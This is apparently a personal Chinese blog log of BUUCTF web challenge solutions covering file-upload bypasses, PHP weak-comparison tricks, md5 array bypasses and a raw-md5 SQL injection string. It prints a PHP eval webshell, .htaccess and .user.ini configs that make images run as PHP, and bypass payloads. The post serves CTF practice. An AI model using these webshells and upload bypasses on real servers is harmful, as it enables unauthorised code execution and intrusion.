BUUCTF刷题之旅

简单记录下我在buuctf的刷题过程

[极客大挑战 2019]Upload

打开页面是一个文件上传题目
先上传一个空文件hack.php试试,会提示not image
抓包尝试修改后缀和MIME类型也过不了
图片马尝试,虽然能上传,但是图片并不能解析
并测试中发现不能使用<? ,必须得用\<script>的方法上传一句话

<script language="php">
        @eval($_POST['hack'])
    </script>

无果,后来了解到通过修改后缀为phtml,修改MIME类型并在开头加GIF89a能成功绕过

在文件的开始部分加 GIF89a通常是用来绕过头像上传,一般在php后端表现为使用exif_imagetype()函数读取一个图像的第一个字节并检查其签名

[ACTF2020 新生赛]Upload

一道文件上传题,随便上传一个空的php文件,提示必须为jpg,png,gif。看来是白名单绕过

抓包尝试修改类型,发现还没抓包就已经提示白名单了,说明这里是通过js验证的
有2种办法绕过

第一种直接删除验证的js代码,在该页面体现为

第二种直接使用burpsuite抓包,在加载该页面的时候就禁用所有的js代码


补:还可以传输正常后缀的文件然后通过bp抓包修改后缀
但要注意的是,修改后缀可能还要修改,conten-length,与原文件名相比增加或减少多少个长度


推荐使用第二种方法,因为第一种好像是每提交一次页面重新刷新需要再次删除

js验证绕过后,发现还有过滤,这次是在后端没法通过前端绕过,尝试几次后发现phtml没有被过滤,成功绕过
然后蚁剑连接即可,flag在根目录下
看看php源码

<?php
    error_reporting(0);
    //设置上传目录
    define("UPLOAD_PATH", "./uplo4d");
    $msg = "Upload Success!";
    if (isset($_POST['submit'])) {
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $file_name = $_FILES['upload_file']['name'];
        $ext = pathinfo($file_name,PATHINFO_EXTENSION);
        if(in_array($ext, ['php', 'php3', 'php4', 'php5'])) {
            exit('nonono~ Bad file!');
        }

        $new_file_name = md5($file_name).".".$ext;
        $img_path = UPLOAD_PATH . '/' . $new_file_name;

        if (move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = 'Upload Failed!';
        }
        echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
    }

?>

看到过滤了php,php3,php4,php5

.htaccess文件

<FilesMatch \.phtml$>
    SetHandler application/x-httpd-php
</FilesMatch>

这里对.htaccess做下笔记
启用.htaccess,需要修改httpd.conf,启用AllowOverride
.htaccess能设置将哪些文件也解析为php
像这里就是对含有.phtml后缀的内容解析为php文件
当然也可以设置为其他的

<FilesMatch "test">

SetHandler application/x-httpd-php

</FilesMatch>

这里代表将任何含有test的文件当作php文件,文件单纯的就是个test也可以

还有一种办法

AddType application/x-httpd-php .php .php5

.php , .php5 都可以被当作php解析
并且这个配置在apache的httpd.conf中也生效

需要注意的是这个题不能通过上传.htaccess的办法来实现绕过,因为上传.htaccess后系统会对.htaccess重命名,虽然后缀是.htaccess,但前面会多一些内容

[ACTF2020 新生赛]BackupFile

打开页面

让自己找source file
F12查看并无隐藏信息
尝试特殊文件 source.php , source , index.php , www.zip 均未成功
想起了还可以有备份文件,直接index.php.bak 拿到文件
查看源码

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

php弱类型比较,传入?key=123拿到flag

[SUCTF 2019]CheckIn

同样是一道文件上传题,这里要运用到.user.ini的知识
在网上找到了一篇不错的文章https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

因为这个题用到了exif_imagetype()函数,所以可以继续使用GIF89a来绕过
先传一个.user.ini

GIF89a
auto_prepend_file=1.jpg

可以让apache将1.jpg解析成php

仅接着写一个马,然后将名字改为1.jpg传上去

GIF89a
<script language="php">
        @eval($_POST['hack'])
    </script>

然后蚁剑连接,flag在根目录下

[极客大挑战 2019]BuyFlag

2个页面,直接看buyflag的页面,查看源码发现结尾

    ~~~post money and password~~~
if (isset($_POST['password'])) {
    $password = $_POST['password'];
    if (is_numeric($password)) {
        echo "password can't be number</br>";
    }elseif ($password == 404) {
        echo "Password Right!</br>";
    }
}

这里我试了很久传password和money但并没有任何回显

后来才知道,需要用bp抓包send到repeter模块,这里需要修改user的值,原来是0,修改成1,这里猜测user=0是否定的意思

然后money必须写成1e9 ,据了解是老版本的php在使用(这里使用strcmp比较的钱)strcmp的时候,strcmp对长度有限制,会提示too long

所以最终如上得到flag

[BJDCTF2020]Easy MD5

是一个查询页面,随便输一点内容发现没有任何回显,所以开始找是否藏了什么东西,后来在请求头中发现hint
Hint: select * from 'admin' where password=md5($pass,true)
password=md5($pass,true)网速一搜就能找到一些payload,ffifdyop可以构造成'or 1=1这种类型

参考文章https://www.jianshu.com/p/12125291f50d

$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b))

两种方法,要么数组绕过,要么md5碰撞,很常见的md5加密考点

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2']))
要求满足上述内容,传数组绕过即可
param1[]=1&param2[]=2

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇